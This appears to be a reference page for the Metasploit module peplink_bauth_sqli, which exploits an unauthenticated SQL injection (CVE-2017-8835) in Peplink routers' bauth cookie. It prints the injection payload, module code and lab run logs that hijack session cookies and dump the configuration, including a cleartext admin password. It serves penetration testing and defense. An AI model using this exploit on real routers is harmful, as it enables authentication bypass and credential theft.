Peplink Balance routers SQLi - Metasploit


This page contains detailed information about how to use the auxiliary/gather/peplink_bauth_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Peplink Balance routers SQLi
Module: auxiliary/gather/peplink_bauth_sqli
Source code: modules/auxiliary/gather/peplink_bauth_sqli.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-8835

Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication. By default, a session expires 4 hours after login (the setting can be changed by the admin), for this reason, the module attempts to retrieve the most recently created sessions.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/peplink_bauth_sqli
msf auxiliary(peplink_bauth_sqli) > show targets
    ... a list of targets ...
msf auxiliary(peplink_bauth_sqli) > set TARGET target-id
msf auxiliary(peplink_bauth_sqli) > show options
    ... show and set options ...
msf auxiliary(peplink_bauth_sqli) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Introduction

This module exploits an SQLi vulnerability in the web interface of Peplink routers running outdated firmware (confirmed on version 7.0.0-build1904 and below).

The vulnerability is due to the lack of sanitization applied to the bauth cookie, Successful exploitation of the vulnerability allows unauthenticated attackers to get into sessions of legitimate users (bypassing authentication).

Exploitation of this vulnerability requires that there is at least one active user session created in the last 4 hours (or session lifetime if it was modified).

Options


BypassLogin

If true, don't retrieve cookies, just use the SQL injection vulnerability to bypass the login In the case where expired and non-expired admin sessions exist, might select the expired session if enabled.

AdminOnly

Only attempt to retrieve cookies of privilegied users (admins)

EnumPrivs

Retrieve the privilege associated with each session

EnumUsernames

Retrieve the username associated with each session

LimitTries

The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly

Scenarios


Vulnerable firmware downloadable from here. It's possible to reproduce the vulnerability without owning a peplink router, using FusionHub. Refer to its installation guide, use a free Solo license.

Firmware version 6.3.2

BypassLogin:

msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254

[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkconfigur_203870.bin
[*] Retrieving fhlicense_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhlicens_829403.txt
[*] Retrieving sysinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinksysinfo_824042.txt
[*] Retrieving macinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmacinfo_992224.txt
[*] Retrieving hostnameinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhostname_183370.txt
[*] Retrieving uptime
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkuptime_523334.txt
[*] Retrieving client_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkclient_i_704361.txt
[*] Retrieving hubport
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhubport_264378.txt
[*] Retrieving fhstroute
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhstrout_701714.txt
[*] Retrieving ipsec
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkipsec_664157.txt
[*] Retrieving wan_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkwan_summ_936160.txt
[*] Retrieving firewall
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfirewall_270172.txt
[*] Retrieving cert_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkcert_inf_201536.txt
[*] Retrieving mvpn_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmvpn_sum_261747.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) >

The config is a .tar.gz archive with an added 36-byte header, you can extract the plaintext config: $ dd if=20200802_fshhw1_1135E8A0DD29.conf of=config.tar.gz skip=36 bs=1 $ tar vxf config.tar.gz The config usually includes the admin password in cleartext. Note: it's also possible to upload a modified config. $ cat config ADMIN_HTTPS_ENABLE="yes" ADMIN_HTTPS_LANONLY="no" ADMIN_HTTPS_PORT="443" ADMIN_HTTP_ENABLE="yes" ADMIN_HTTP_TO_HTTPS="yes" ADMIN_LANONLY="no" ADMIN_NAME="admin" ADMIN_PASSWORD="mySECUREpassword1" ADMIN_PORT="80" ADMIN_ROA_PASSWORD="user" ADMIN_SESSION_TIMEOUT="14400" CONFIG_VERSION="6.0" DHCP_SERVER="enable" FIREWALL_IDS="yes" HOSTNAME="peplink" IPSEC_NAT="yes" LAN_CONN_METHOD="static" LAN_IPADDR="192.168.1.254" LAN_NETMASK="255.255.255.0" LEFTTIME_USAGE="yes" ...

EnumPrivs and EnumUsernames:

msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumPrivs true 
EnumPrivs => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumUsernames true 
EnumUsernames => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > run 
[*] Running module against 192.168.1.254

[+] Target seems vulnerable
[*] There are 2 (possibly expired) sessions
[*] Trying the ids from the most recent login
[+] Found cookie wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8, username = user, with read-only permissions
[+] Found cookie aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr, username = admin, with read/write permissions
[*] Checking for admin cookie : wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8
[*] Checking for admin cookie : aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr

... 

[*] Auxiliary module execution completed
msf5 auxiliary(sqli/peplink_bauth_sqli) > 

Verbose:

When you enable verbose, you get the parsed XML document displayed.

msf5 auxiliary(gather/peplink_bauth_sqli) > set Verbose true
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254

[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkconfigur_780974.bin
[*] Retrieving fhlicense_info
[+]     data
[+]             license
[+]                     bandwidth
[+]                             0
[+]                     sessions
[+]                             0
[+]                     err_desc
[+]                             Virtual machine server changed.
[+]                     force_lic_page
[+]                             1
[+]                     activated
[+]                             0
[+]                     vm_server_address
[+]                     expired
[+]                             0
[+]                     license_type
[+]                             Invalid
[+]                     expiry_date
[+]                             2021-08-02
[+]                     sn
[+]                             1135-E8A0-DD29
[+]                     license_key
[+]                             YCB7EAN54FAEMTDF
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhlicens_867800.txt
[*] Retrieving sysinfo
[+]     data
[+]             sysinfo
[+]                     legal
[+]                     company
[+]                             Peplink
[+]                     mvpn_version
[+]                             5.0.0
[+]                     version
[+]                             6.3.2 build 1424
[+]                     serial
[+]                             1135-E8A0-DD29
[+]                     product_code
[+]                     hardware_revision
[+]                             1
[+]                     desc_support
[+]                     product_name
[+]                             Peplink FusionHub
[+]                     name
[+]                             1135-E8A0-DD29
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinksysinfo_739792.txt
[*] Retrieving macinfo
[+]     data
[+]             macinfo
[+]                     port {id=0}
[+]                             mac
[+]                                     08:00:27:52:8b:fc
[+]                             name
[+]                                     WAN 
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmacinfo_307720.txt
[*] Retrieving hostnameinfo
[+]     data
[+]             hostname_info
[+]                     hostname
[+]                             1135-e8a0-dd29

[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhostname_534719.txt
[*] Retrieving uptime
[+]     data
[+]             subscription_mode
[+]             systime
[+]                     Sun Aug 02 14:31:21 CET 2020
[+]             uptime
[+]                     elapsed
[+]                             2986
[+]                     info
[+]                             0 days 0 hours 49 minutes
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkuptime_233915.txt
[*] Retrieving client_info
[+]     data
[+]             client_status
[+]                     reserved_mac
[+]                     client_list
[+]                             client {type=0}
[+]                                     rate_down
[+]                                             0
[+]                                     rate_up
[+]                                             0
[+]                                     active
[+]                                     mac
[+]                                             10:08:B1:CC:97:41
[+]                                     ip {id=0}
[+]                                             192.168.1.222
[+]                                     ipn
[+]                                             3232235998
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkclient_i_419158.txt
[*] Retrieving hubport
[+]     data
[+]             port {id=wan}
[+]                     mvpn_advertise_wan_network
[+]                     tcpmss
[+]                     mtu
[+]                             1440
[+]                     pppoe_sn
[+]                     pppoe_password
[+]                     pppoe_user
[+]                     dns_custom_servers
[+]                             8.8.8.8 1.1.1.1
[+]                     dns_auto
[+]                     dhcp_hostname
[+]                     dhcp_client_id
[+]                     mvpn_default_to_lan
[+]                     gateway
[+]                             192.168.1.1
[+]                     netmask
[+]                             255.255.255.0
[+]                     ipaddr
[+]                             192.168.1.254
[+]                     bridge_mvpn
[+]                     bridge_mode
[+]                     conn_method
[+]                             static
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhubport_064122.txt
[*] Retrieving fhstroute
[+]     data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhstrout_739377.txt
[*] Retrieving ipsec
[+]     data
[+]             ipsec
[+]                     order
[+]                     nat
[+]             linkinfo
[+]                     link {id=1}
[+]                             port {id=1}
[+]                                     port_name
[+]                                             WAN
[+]                                     port_type
[+]                                             ethernet
[+]                                     actiavted
[+]                             name
[+]                                     WAN
[+]                             enable
[+]                     order
[+]                             1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkipsec_320666.txt
[*] Retrieving wan_summary
[+]     data
[+]             connection_info
[+]                     conn {id=1}
[+]                             conn_method
[+]                                     method
[+]                                             dhcp
[+]                             modem_idle
[+]                                     timeout
[+]                                             180
[+]                             backup_group
[+]                                     0
[+]                             mvpn_nat
[+]                             nat
[+]                             enable
[+]                             port_id
[+]                                     1
[+]                             name
[+]                                     WAN
[+]                     order
[+]                             1
[+]             physical_info
[+]                     port {id=1}
[+]                             ethernet_info
[+]                                     simulated_mac
[+]                                     default_mac
[+]                                     mac_clone
[+]                                     mtu
[+]                                     advertise
[+]                                     speed
[+]                             port_name
[+]                                     WAN 
[+]                             type
[+]                                     ethernet
[+]                             activated
[+]                                     yes
[+]                     count
[+]                             1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkwan_summ_918579.txt
[*] Retrieving firewall
[+]     data
[+]             firewall_ids
[+]             firewall_mvpn
[+]             private_firewall
[+]                     default
[+]                             accept
[+]             outbound_firewall
[+]                     default
[+]                             accept
[+]             inbound_firewall
[+]                     default
[+]                             accept
[+]             linkinfo
[+]                     link {id=1}
[+]                             port {id=1}
[+]                                     port_name
[+]                                             WAN
[+]                                     port_type
[+]                                             ethernet
[+]                                     actiavted
[+]                             name
[+]                                     WAN
[+]                             enable
[+]                     order
[+]                             1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfirewall_758402.txt
[*] Retrieving cert_info
[+]     data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkcert_inf_603637.txt
[*] Retrieving mvpn_summary
[+]     data
[+]             mvpn
[+]                     order
[+]                     mvpn_nat_mode_dhcp_server
[+]                             has_nat_profile
[+]                                     0
[+]                             nat_remote
[+]                                     0
[+]                             subnet_mask
[+]                                     24
[+]                             pool_end
[+]                                     169.254.131.254
[+]                             pool_start
[+]                                     169.254.131.1
[+]                             enable
[+]                                     1
[+]                     restrict_advertise
[+]                             no
[+]                     hc_mode
[+]                             0
[+]                     rn
[+]                             1135-E8A0-DD29
[+]                     site_id
[+]                             333
[+]                     l2vpn
[+]                             wanport_supported
[+]                                     false
[+]                             wanport_name
[+]                                     WAN Port Unavailable
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmvpn_sum_970830.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) > 

Loot:

msf5 auxiliary(gather/peplink_bauth_sqli) > loot

Loot
====

host           service  type                          name  content             info  path
----           -------  ----                          ----  -------             ----  ----
192.168.1.254           peplink configuration tar gz        application/binary        /home/redouane/.msf4/loot/20200802153714_default_192.168.1.254_peplinkconfigur_157106.bin
192.168.1.254           peplink fhlicense_info              text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhlicens_326973.txt
192.168.1.254           peplink sysinfo                     text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinksysinfo_385353.txt
192.168.1.254           peplink macinfo                     text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmacinfo_525407.txt
192.168.1.254           peplink hostnameinfo                text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhostname_613045.txt
192.168.1.254           peplink uptime                      text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkuptime_488261.txt
192.168.1.254           peplink client_info                 text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkclient_i_529454.txt
192.168.1.254           peplink hubport                     text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhubport_938262.txt
192.168.1.254           peplink fhstroute                   text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhstrout_737113.txt
192.168.1.254           peplink ipsec                       text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkipsec_055562.txt
192.168.1.254           peplink wan_summary                 text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkwan_summ_957693.txt
192.168.1.254           peplink firewall                    text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfirewall_777226.txt
192.168.1.254           peplink cert_info                   text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkcert_inf_765605.txt
192.168.1.254           peplink mvpn_summary                text/xml                  /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmvpn_sum_890141.txt

msf5 auxiliary(gather/peplink_bauth_sqli) > 

Go back to menu.

Msfconsole Usage


Here is how the gather/peplink_bauth_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/peplink_bauth_sqli

msf6 auxiliary(gather/peplink_bauth_sqli) > show info

       Name: Peplink Balance routers SQLi
     Module: auxiliary/gather/peplink_bauth_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  X41 D-Sec GmbH <[email protected]>
  Redouane NIBOUCHA <[email protected]>

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  AdminOnly      false            yes       Only attempt to retrieve cookies of privilegied users (admins)
  BypassLogin    false            yes       Just bypass login without trying to leak the cookies of active sessions
  EnumPrivs      false            yes       Retrieve the privilege associated with each session
  EnumUsernames  false            yes       Retrieve the username associated with each session
  LimitTries                      no        The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT          80               yes       The target port (TCP)
  SSL            false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI      /                yes       The target URI
  VHOST                           no        HTTP server virtual host

Description:
  Firmware versions up to 7.0.0-build1904 of Peplink Balance routers 
  are affected by an unauthenticated SQL injection vulnerability in 
  the bauth cookie, successful exploitation of the vulnerability 
  allows an attacker to retrieve the cookies of authenticated users, 
  bypassing the web portal authentication. By default, a session 
  expires 4 hours after login (the setting can be changed by the 
  admin), for this reason, the module attempts to retrieve the most 
  recently created sessions.

References:
  https://www.exploit-db.com/exploits/42130
  https://nvd.nist.gov/vuln/detail/CVE-2017-8835
  https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a

Module Options


This is a complete list of options available in the gather/peplink_bauth_sqli auxiliary module:

msf6 auxiliary(gather/peplink_bauth_sqli) > show options

Module options (auxiliary/gather/peplink_bauth_sqli):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   AdminOnly      false            yes       Only attempt to retrieve cookies of privilegied users (admins)
   BypassLogin    false            yes       Just bypass login without trying to leak the cookies of active sessions
   EnumPrivs      false            yes       Retrieve the privilege associated with each session
   EnumUsernames  false            yes       Retrieve the username associated with each session
   LimitTries                      no        The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          80               yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       The target URI
   VHOST                           no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/peplink_bauth_sqli auxiliary module:

msf6 auxiliary(gather/peplink_bauth_sqli) > show advanced

Module advanced options (auxiliary/gather/peplink_bauth_sqli):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SqliDelay             1.0                                                 no        The delay to sleep on time-based blind SQL injections
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/peplink_bauth_sqli module can do:

msf6 auxiliary(gather/peplink_bauth_sqli) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/peplink_bauth_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/peplink_bauth_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No active authenticated sessions found, try again after a user has authenticated


Here is a relevant code snippet related to the "No active authenticated sessions found, try again after a user has authenticated" error message:

68:	    end.compact
69:	
70:	    print_status("After filtering out non-admin sessions: #{session_ids.count} sessions remain") if datastore['AdminOnly']
71:	
72:	    if session_ids.count == 0
73:	      print_error('No active authenticated sessions found, try again after a user has authenticated')
74:	      return
75:	    end
76:	
77:	    print_status('Trying the ids from the most recent logins')
78:	

errorMessage


Here is a relevant code snippet related to the "errorMessage" error message:

101:	  end
102:	
103:	  # returns false if data has an error message, the data otherwise
104:	  def parse_and_check_for_errors(data)
105:	    xml = ::Nokogiri::XML(data)
106:	    if xml.errors.empty? && data.include?('errorMessage')
107:	      print_error xml.css('errorMessage')[0].text
108:	      false
109:	    else
110:	      xml.errors.empty? ? xml : data
111:	    end

errorMessage


Here is a relevant code snippet related to the "errorMessage" error message:

102:	
103:	  # returns false if data has an error message, the data otherwise
104:	  def parse_and_check_for_errors(data)
105:	    xml = ::Nokogiri::XML(data)
106:	    if xml.errors.empty? && data.include?('errorMessage')
107:	      print_error xml.css('errorMessage')[0].text
108:	      false
109:	    else
110:	      xml.errors.empty? ? xml : data
111:	    end
112:	  end

noop


Here is a relevant code snippet related to the "noop" error message:

118:	      'cookie' => "bauth=#{cookie}",
119:	      'vars_get' => {
120:	        'option' => option
121:	      }
122:	    })
123:	    return '' if option == 'noop' && res.code == 200 && parse_and_check_for_errors(res.body)
124:	
125:	    if res.code == 200
126:	      print_status "Retrieving #{option}"
127:	      xml = parse_and_check_for_errors(res.body)
128:	      if xml

Could not retrieve <OPTION>


Here is a relevant code snippet related to the "Could not retrieve <OPTION>" error message:

132:	        xml
133:	      else
134:	        false
135:	      end
136:	    else
137:	      print_error "Could not retrieve #{option}"
138:	      false
139:	    end
140:	  end
141:	
142:	  def retrieve_data(cookie)

Could not retrieve the router configuration file


Here is a relevant code snippet related to the "Could not retrieve the router configuration file" error message:

155:	      if parse_and_check_for_errors(config)
156:	        path = store_loot('peplink configuration tar gz', 'application/binary', datastore['RHOST'], config)
157:	        print_good "Retrieved config, saved at #{path}"
158:	      end
159:	    else
160:	      print_error 'Could not retrieve the router configuration file'
161:	    end
162:	
163:	    data_options.each do |option|
164:	      get_data_by_option(cookie, option)
165:	    end

Unable to connect to <TARGET_URI.PATH>


Here is a relevant code snippet related to the "Unable to connect to <TARGET_URI.PATH>" error message:

193:	      res = send_request_cgi({
194:	        'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'admin.cgi'),
195:	        'method' => 'GET',
196:	        'cookie' => "bauth=' or #{payload}--"
197:	      })
198:	      return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res
199:	
200:	      res.get_cookies.empty? # no Set-Cookie header means the session cookie is valid
201:	    end
202:	    if @sqli.test_vulnerable
203:	      Exploit::CheckCode::Vulnerable

Target does not seem to be vulnerable


Here is a relevant code snippet related to the "Target does not seem to be vulnerable" error message:

206:	    end
207:	  end
208:	
209:	  def run
210:	    unless check == Exploit::CheckCode::Vulnerable
211:	      print_error 'Target does not seem to be vulnerable'
212:	      return
213:	    end
214:	    print_good 'Target seems to be vulnerable'
215:	    if datastore['BypassLogin']
216:	      cookies = [

Here is a relevant code snippet related to the "No valid admin cookie" error message:

223:	    admin_cookie = cookies.detect do |c|
224:	      print_status "Checking for admin cookie : #{c}"
225:	      get_data_by_option(c, 'noop')
226:	    end
227:	    if admin_cookie.nil?
228:	      print_error 'No valid admin cookie'
229:	      return
230:	    end
231:	    retrieve_data(admin_cookie)
232:	  end
233:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.